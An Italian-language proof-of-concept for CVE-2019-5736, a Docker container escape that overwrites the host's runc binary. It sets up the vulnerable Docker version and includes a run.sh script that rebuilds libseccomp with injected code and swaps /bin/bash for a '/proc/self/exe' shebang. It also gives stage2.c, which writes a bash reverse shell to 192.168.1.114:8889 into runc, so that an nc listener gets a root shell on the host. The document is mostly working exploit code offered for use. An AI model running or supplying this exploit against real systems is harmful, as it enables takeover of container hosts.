
Exploit proof-of-concept per CVE-2019-5736, una fuga da container Docker tramite sovrascrittura del binario runc, che consente l'accesso alla shell dell'host tramite manipolazione di libseccomp.
Riferimento: cve-2019-5736-poc
docker build -t cve .docker run -d cve /bin/bash -c "tail -f /dev/null"cp /usr/bin/docker-runc /usr/bin/docker-runc.bakdocker exec -it docker-id /bin/bashcd /root/libseccomp-2.5.1cd /root && ./run.sh && exitdocker exec -it docker-id /bin/bashrun.sh
#!/bin/bash
# libseccomp versione controlla tempestivamente le informazioni della versione corrispondente scaricata nella directory /root dopo la creazione del contenitore
cd /root/libseccomp-2.5.1
cat /root/stage1.c >> src/api.c
DEB_BUILD_OPTIONS=nocheck dpkg-buildpackage -b -uc -us
dpkg -i /root/*.deb
mv /bin/bash /bin/good_bash
gcc /root/stage2.c -o /stage2
cat >/bin/bash <<EOF
#!/proc/self/exe
EOF
chmod +x /bin/bash
Host: Ubuntu18.04
Docker-ce: 18.06.1~ce~3-0~ubuntu
docker-runc: 1.0
sudo apt-get update
sudo apt-get install apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"
apt-cache madison docker-ce
apt-get install docker-ce=18.06.1~ce~3-0~ubuntu
# Se si verifica un errore, cd /var/lib/dpkg/updates elimina tutti i file nella directory e riprova
root@root:~# sudo apt-get install docker-ce=18.06.1~ce~3-0~ubuntu
stage2.c
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
int main(int argc, char **argv) {
printf("HAX2: argv: %s\n", argv[1]);
int res1 = -1;
int total = 10000;
while(total>0 && res1== -1){
int fd = open(argv[1], O_RDWR|O_TRUNC);
printf("HAX2: fd: %d\n", fd);
const char *poc = "#!/bin/bash\n/bin/bash -i >& /dev/tcp/192.168.1.114/8889 0>&1 &\n";
int res = write(fd, poc, strlen(poc));
printf("HAX2: res: %d, %d\n", res, errno);
res1 = res;
total--;
}
}
docker build -t cve-2019-5736 .

docker run -d cve-2019-5736 /bin/bash -c "tail -f /dev/null"

docker-runc sull'hostPoiché successivamente si sovrascriverà il file docker-runc sul sistema
cp /usr/bin/docker-runc /usr/bin/docker-runc.bak
docker exec -it 655378598a92 /bin/bash
# Nota: modificare tempestivamente le informazioni sulla versione di libseccomp nel file run.sh prima di eseguire
cd /root
./run.sh
exit
# docker exec -it 655378598a92 /bin/bash
# A questo punto, la sessione di ascolto nc riceverà una shell inversa dall'host
